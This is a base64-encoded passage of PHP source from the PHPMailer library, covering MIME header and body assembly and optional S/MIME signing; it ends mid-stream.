ICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwY